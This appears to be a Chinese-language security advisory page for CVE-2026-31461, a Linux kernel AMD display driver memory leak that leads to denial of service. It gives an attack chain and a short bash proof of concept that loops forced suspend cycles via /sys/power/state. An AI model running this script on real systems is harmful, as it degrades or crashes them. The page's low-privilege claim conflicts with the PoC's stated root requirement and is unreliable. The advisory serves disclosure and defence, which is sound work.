IPBUF安全漏洞报告
English
CVE-2026-31461 CVSS 5.5 中危

CVE-2026-31461: Linux内核AMD驱动内存泄露漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31461
漏洞类型
内存泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

内存泄露拒绝服务Linux内核AMD显卡本地漏洞

漏洞概述

Linux内核drm/amd/display组件存在内存泄露漏洞。该漏洞源于amdgpu_dm驱动在处理显示器连接事件时,未释放先前的drm_edid内存分配即直接覆盖指针。这种不当处理导致系统在恢复操作时发生内存持续泄露,长期运行可能耗尽可用内存资源,从而显著降低系统稳定性与可用性。

技术细节

该漏洞技术细节涉及Linux内核图形驱动amdgpu_dm中的EDID(扩展显示标识数据)管理机制。在系统执行恢复操作或检测到显示设备连接状态变更时,驱动需更新`aconnector->drm_edid`指针以存储最新的显示设备信息。然而,存在缺陷的代码路径直接覆盖了该指针,而未先调用内存释放函数(如`kfree`或`drm_edid_free`)来回收先前分配的内存资源。这种“分配后未释放”的逻辑错误导致每次触发相关事件都会丢失一块内存区域。攻击者可通过频繁触发设备唤醒或热插拔操作,利用此漏洞持续泄露内核内存。长期累积将导致系统可用物理内存枯竭,最终触发OOM Killer杀掉关键进程,造成系统拒绝服务。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者需要拥有本地系统的低权限用户访问权限(PR:L)。
STEP 2
2. 触发漏洞条件
攻击者通过脚本或手动操作触发系统挂起与恢复(Suspend/Resume)循环,或频繁热插拔显示器。
STEP 3
3. 执行内存泄露
amdgpu_dm驱动在恢复时覆盖drm_edid指针但未释放旧内存,导致内核内存持续泄露。
STEP 4
4. 耗尽资源(DoS)
长期运行导致可用内存耗尽,触发OOM Killer,导致系统崩溃或服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-31461 # Description: Triggers suspend/resume cycles to induce memory leak in amdgpu_dm. # Requirements: Root privileges, system with affected AMD GPU kernel driver. echo "[*] Starting PoC for CVE-2026-31461..." echo "[*] Monitoring memory usage during suspend/resume cycles." ITERATIONS=100 for (( i=1; i<=$ITERATIONS; i++ )) do echo "[+] Cycle $i: Triggering suspend to RAM..." # Write to /sys/power/state to suspend the system # Note: This requires proper hardware support and configuration echo mem > /sys/power/state # System is asleep here, waking up automatically or via alarm # After wake, the leak occurs echo "[+] Cycle $i: System resumed. Checking memory..." free -h | grep "Mem:" sleep 2 done echo "[*] PoC completed. Check if memory usage has increased significantly."

影响范围

Linux Kernel (amdgpu_dm module) < Commit 52024a94e7111366141cfc5d888b2ef011f879e5

防御指南

临时缓解措施
限制非授权用户对物理设备的访问,避免频繁进行系统休眠与唤醒操作或显示器热插拔,直至应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表